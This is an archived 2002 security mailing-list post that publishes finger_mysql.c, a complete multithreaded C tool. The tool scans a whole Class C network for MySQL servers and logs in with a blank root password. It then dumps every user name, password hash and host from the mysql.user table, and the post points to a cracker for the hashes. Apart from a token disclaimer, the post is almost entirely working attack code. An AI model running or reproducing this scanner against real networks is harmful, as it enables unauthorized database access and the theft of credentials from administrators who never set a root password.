[TOOL] MySQL Network Scanner
From: support@securiteam.comDate: 10/23/02
- Previous message: support@securiteam.com: "[EXPL] Windows RPC DoS Exploit Code (from SPIKE to C)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: 23 Oct 2002 22:40:48 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
MySQL Network Scanner
------------------------------------------------------------------------
DETAILS
The following tool will allow you to scan a complete network for the
presence of an MySQL server with the default (blank) password.
Tool:
/*
Program: finger_mysql.c
Original Date: October 5, 2002
Version 1.0
Platform: Linux (Compiled on SuSE 7.3 Pro)
c0der: st0ic
Web: www.fsix.net
email: st0ic@fsix.net
Revisions:
NONE Thus Far
Compile:
st0ic~# gcc -lpthread -lmysqlclient finger_mysql.c -o finger_mysql
Description:
This is a MySQL Class C IP scanner that finds vulnerable MySQL
daemons and attempts to login under the default root account with a
NULL password. After login, this program will dump the usernames,
encrypted password hash and the hostnames in the mysql.user table.
Other information:
The original idea for this came from mysql***.c by g0th. I ran across
module's pscan.c code and decided it was elite... so I modified it to
work with this program. Those two pieces of code resulted in this piece
of code. See http://www.securiteam.com/securitynews/5GP0K0A81Y.html or
http://online.securityfocus.com/bid/5503 . Also, if you make too many
connects to the MySQL daemon without issuing any commands, depending on
the settings, you could be blocked. This program will make 1 bad connect
that will count against you, so be careful when using it. If you are
blocked
the admin of the MySQL daemon will have to do a flush-hosts in order for
you
to be able to connect again; See
http://www.mysql.com/doc/en/Blocked_host.html
for more info. If your looking to test out how good the encrypted
passwords are,
you can use this: http://www.securiteam.com/tools/5YP0H0A40O.html . If you
have problems with that, try to comment out the lines that contain this
stuff:
printf("(%li)\t[0x%02x,0x%02x,0x%02x,0x%02x,0x%02x,0x%02x,0x%02x,0x%02x,0x%0
2x,0x%02x]\t[%s]
[%s]!=[%s]\n",attempts,hash[0],hash[1],hash[2],hash[3],hash[4],hash[5],hash[
6],hash[7],hash[8],hash[9],temp,to,password);
That will probable get it to work without seg faulting.
Disclaimer:
Yeah, this is for educational purposes. I wrote this to test out your own
MySQL
daemons and their passwords. Don't go trying it out on other people's
servers and try to be l33t.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <mysql/mysql.h> /* might need to play with this */
#define MAXHOSTS 254
#define TIMEOUT 20 /* connection timeout in seconds */
/* mysql stuff */
#define db "mysql"
#define user "dummy"
#define pass NULL
#define query "SELECT user,password,host FROM user;"
/* add some color to you life */
/* ---> type <--- */
#define RESET 0
#define BRIGHT 1
#define DIM 2
#define UNDERLINE 3
#define BLINK 4
#define REVERSE 7
#define HIDDEN 8
/* ---> text color <-- */
#define BLACK 0
#define RED 1
#define GREEN 2
#define YELLOW 3
#define BLUE 4
#define MAGENTA 5
#define CYAN 6
#define WHITE 7
#define DEFAULT 8 /* not valid, so it reverts to default, hopefully. */
char hosts[MAXHOSTS][17];
int sockfd[MAXHOSTS];
struct c_info
{
char *hostname;
unsigned short int port;
};
void textcolor(int attr, int text, int bg);
void check_ip(char ip_tmp[]);
void parse_ip(char *ip);
void start_threads(char *ip, unsigned short int port);
void scan_host(struct c_info *);
void finger_mysql(char *hostname, unsigned short int port);
void textcolor(int attr, int text, int bg)
{ char command[13];
/* Command is the control command to the terminal */
sprintf(command, "%c[%d;%d;%dm", 0x1B, attr, text + 30, bg + 40);
fprintf(stderr, "%s", command); /* lets color stderr! */
}
int main(int argc, char *argv[])
{
char *ip, ip_tmp[32];
unsigned short int port = 3306; /* mysql default port */
setvbuf(stdout, NULL, _IONBF, 0);
textcolor(BRIGHT, RED, BLACK);
fprintf(stderr, "\n\t[ finger_mysql.c ]");
fprintf(stderr, "\n\t[ by st0ic ]");
fprintf(stderr, "\n\t[ Fsix.Net ]");
textcolor(BRIGHT, BLUE, BLACK);
fprintf(stderr, "\n\n\t---> Don't Be Scer'ed!\n\n");
textcolor(RESET, DEFAULT, DEFAULT);
if (argc < 2 || argc > 3)
{
fprintf(stderr, "usage: %s <ip> [port]\n", argv[0]);
fprintf(stderr, "\t ip\t Required. C Class IP to scan (ex.
10.219.1.).\n");
fprintf(stderr, "\t port\t Optional. MySQL port to connect to (ex.
3306).\n");
fprintf(stderr, "\t Examples: %s 192.168.1. 3306\n", argv[0]);
fprintf(stderr, "\t %s 192.168.1. > dump.txt\n\n", argv[0]);
exit(1);
}
ip = argv[1];
sprintf(ip_tmp, "%s", ip);
if (argv[2] != NULL)
port = ((unsigned short int)atoi(argv[2]));
bzero(&sockfd, sizeof(sockfd));
check_ip (ip_tmp);
parse_ip (ip);
start_threads(ip, port);
return 0;
}
void check_ip (char ip_tmp[])
{
char *split_ip;
char *split_nums[3];
int x, c;
char *original_ip;
original_ip = ip_tmp;
split_ip = strtok(ip_tmp, ".");
split_nums[0] = split_ip;
split_ip = strtok(NULL, ".");
split_nums[1] = split_ip;
split_ip = strtok(NULL, ".");
split_nums[2] = split_ip;
for (x = 0; x < 3; x++)
{
c = atoi(split_nums[x]);
if ((c > 255) || (c < 1))
{
fprintf(stderr, "\nSyntax error in IP range -- %s", ip_tmp);
fprintf(stderr, "\n\tValid ranges are 1 - 254\n");
exit(1);
}
}
}
void parse_ip (char *ip)
{
int x;
for (x = 0; x < 254; x++)
sprintf(hosts[x], "%s%d", ip, x+1);
}
/* this is module's original function, almost unmodified */
void start_threads (char *ip, unsigned short int port)
{
int i = 0, s, res, fd_amnt, j = 0;
char buff[100];
pthread_t p_thread[MAXHOSTS];
struct c_info scanme[MAXHOSTS];
bzero(scanme, sizeof(scanme));
fprintf(stderr, "Beginning scan of %sx\n", ip);
fprintf(stderr, "when you've had enough of the scanning, hit ^C
(CONTROL+C)\n");
fprintf(stderr, "Connection TIMEOUT = %d seconds\n", TIMEOUT);
fd_amnt = (getdtablesize()-1);
fprintf(stderr, "Using max file descriptors: %d\n\n", fd_amnt);
for(i = 0; i < ((sizeof(hosts))/(sizeof(hosts[i]))); i++)
{
for(s=0; s < fd_amnt && i < MAXHOSTS; s++,i++)
{
scanme[i].port = port;
scanme[i].hostname = hosts[i];
res = pthread_create(&p_thread[i],NULL,(void *)&scan_host,
(struct c_info *)&scanme[i]);
if(res == EAGAIN)
{
printf("pthread_create: ran out of resources at %d iteration\n",
i);
exit(0);
}
usleep(1000);
}
/* wait for the deployed threads to return */
sleep(1);
for(s=0; s < fd_amnt && j < MAXHOSTS; s++, j++)
{
pthread_join(p_thread[j], NULL);
}
}
}
/* Another function written by module. I modified the *** outa it
in order to get it to work how I wanted it to :-). */
void scan_host (struct c_info *scanme)
{
int *fd,i,l,c,err;
fd_set wr;
struct c_info *scanme_ptr;
struct sockaddr_in sa;
struct timeval tv;
scanme_ptr = (struct c_info *) scanme;
/* find a socket to use */
for(i = 0;i < MAXHOSTS; i++)
{
if(!sockfd[i])
{
fd = &sockfd[i];
break;
}
}
if((*fd = socket(AF_INET,SOCK_STREAM,IPPROTO_IP)) == (-1))
{
perror("\nsocket");
exit(-1);
}
bzero(&sa, sizeof(sa));
bzero(&tv, sizeof(tv));
sa.sin_port = htons(scanme_ptr->port);
sa.sin_family = AF_INET;
tv.tv_sec = TIMEOUT;
tv.tv_usec = 0;
if(!inet_aton(scanme_ptr->hostname,&sa.sin_addr))
{
fprintf(stderr,"inet_aton error\n");
pthread_exit(0);
}
/* start non-blocking on socket */
if((fcntl(*fd,F_SETFL,O_NONBLOCK))==(-1))
{
fprintf(stderr,"fcntl error\n");
pthread_exit(0);
}
/* try to make an inital connection to the host */
if((c = connect(*fd, (struct sockaddr *)&sa, sizeof(sa)))==(-1))
{
if(errno != EINPROGRESS)
{
close(*fd);
/*printf("connect didnt have EINPROGRESS"); */
pthread_exit(0);
}
}
else if (c == 0)
{
printf("\t[%s]\tMySQLD running on port %d\n",
scanme_ptr->hostname, scanme_ptr->port);
pthread_exit(0);
}
l = sizeof(err);
/* check the socket for writing. */
FD_SET(*fd,&wr);
if((c=select(*fd+1,NULL,&wr,NULL, &tv))==(0))
{
close(*fd);
/*printf("select for wr on connect() timeout");*/
pthread_exit(0);
}
else if(c == (-1)) /* redundant */
{
close(*fd); /* for some generic select() error */
/*printf("generic select error for connect() wr");*/
pthread_exit(0);
}
/* use getsockopt() to see if we connected successfully */
getsockopt(*fd,SOL_SOCKET,SO_ERROR,&err,&l);
/* printf("sockopt: %d on %s\n",err,scanme_ptr->hostname);*/
/* lets see what we have to work with now */
if(err == ECONNREFUSED)
{
close(*fd);
/*printf("connection refused at %s\n",scanme_ptr->hostname);*/
pthread_exit(0);
}
else if(err == EHOSTUNREACH)
{
close(*fd);
/*printf("host unreachable at %s",scanme_ptr->hostname);*/
pthread_exit(0);
}
textcolor(BRIGHT, RED, BLACK);
fprintf(stderr, "\t[%s]\tMySQLD running on port %d\n",
scanme_ptr->hostname, scanme_ptr->port);
textcolor(RESET, DEFAULT, DEFAULT);
close(*fd);
finger_mysql(scanme_ptr->hostname, scanme_ptr->port);
pthread_exit(0);
}
void finger_mysql(char *hostname, unsigned short int port)
{
MYSQL *conn;
MYSQL_RES *result;
MYSQL_ROW row;
MYSQL_FIELD *field;
unsigned int i, j, col_length;
conn = mysql_init(NULL);
if (conn == NULL)
{
printf("mysql_init() failed\n");
pthread_exit(0);
}
if (mysql_real_connect(conn, hostname, user, pass,
db, port, NULL, 0) == NULL)
{
/*fprintf(stderr, "[%s] ERROR: mysql_real_connect error:\n\tError %u
(%s)\n",
hostname, mysql_errno(conn), mysql_error(conn));*/
pthread_exit(0);
}
textcolor(BRIGHT, BLUE, BLACK);
fprintf(stderr, "\t---> [%s] Successful login\n", hostname);
textcolor(RESET, DEFAULT, DEFAULT);
if (mysql_query(conn, query) != 0)
{
/*fprintf(stderr, "[%s] ERROR: mysql_query() failed:\n\tError %u
(%s)\n",
hostname, mysql_errno(conn), mysql_error(conn));*/
mysql_close(conn);
pthread_exit(0);
}
if ((result = mysql_store_result(conn)) == NULL)
{
/*fprintf(stderr, "[%s] ERROR: mysql_store_result() failed:\n\tError %u
(%s)\n",
hostname, mysql_errno(conn), mysql_error(conn));*/
mysql_close(conn);
pthread_exit(0);
}
printf("USER | PASSWORD | HOST for %s:\n", hostname);
/* attempt to print pretty output... not as good as the mysql client's
though :-( */
mysql_field_seek(result, 0);
for (i = 0; i < mysql_num_fields(result); i++)
{
field = mysql_fetch_field(result);
col_length = strlen(field->name);
if (col_length < field->max_length)
col_length = field->max_length;
if (col_length < 4 && !IS_NOT_NULL (field->flags))
col_length = 4; /* length of the word "NULL" */
field->max_length = col_length;
}
mysql_field_seek (result,0);
fputc ('+', stdout); /* header stuff */
for (i = 0;i < mysql_num_fields(result);i++)
{
field = mysql_fetch_field (result);
for (j = 0;j < field->max_length + 2;j++)
fputc ('-', stdout);
fputc ('+', stdout);
}
fputc ('\n', stdout); /* columns/rows for data */
while ((row = mysql_fetch_row (result))!=NULL)
{
mysql_field_seek (result, 0);
fputc ('|', stdout);
for (i =0; i < mysql_num_fields(result);i++)
{
field = mysql_fetch_field (result);
if (row [i] == NULL)
printf (" %-*s |",field->max_length, NULL );
else if (IS_NUM (field->type))
printf (" %*s |",field->max_length,row [i ]);
else
printf (" %-*s |",field->max_length,row [i ]);
}
fputc ('\n', stdout);
}
mysql_close(conn);
free(conn);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:st0ic@columbus.rr.com> Chris
Smith.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[EXPL] Windows RPC DoS Exploit Code (from SPIKE to C)"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- Help in Java swings(internal Frame)
... public int getSize() ... public void valueChanged{ ... private
JScrollPane scrollPane1; ... public class PeakContainer extends JInternalFrame ...
(comp.lang.java.programmer) - [PATCH,RFC 2.6.14 09/15] KGDB: SuperH-specific changes
... This adds basic support for KGDB on SuperH as well as adding some architecture ...
-static int kgdb_uart_getchar ... -static void kgdb_uart_putchar ... * The
command-line option can include a serial port specification ... (Linux-Kernel) - problem in java swings
... public int getSize() ... public void valueChanged{ ... private
JScrollPane scrollPane1; ... public class PeakContainer extends JInternalFrame ...
(comp.lang.java.programmer) - ToolTips in a View and TTN_NEEDTEXT
... extern int g_minWorkPeriod; ... void CDayView::CreateAllFonts ...
void CDayView::DrawDayLog(CDC* pDC) ... BOOL CDayView::TimeToY ... (microsoft.public.vc.mfc) - [PATCH 6/20] FRV: Fujitsu FR-V CPU arch implementation part 4
... +static void register_irq_proc (unsigned int irq); ... (Linux-Kernel)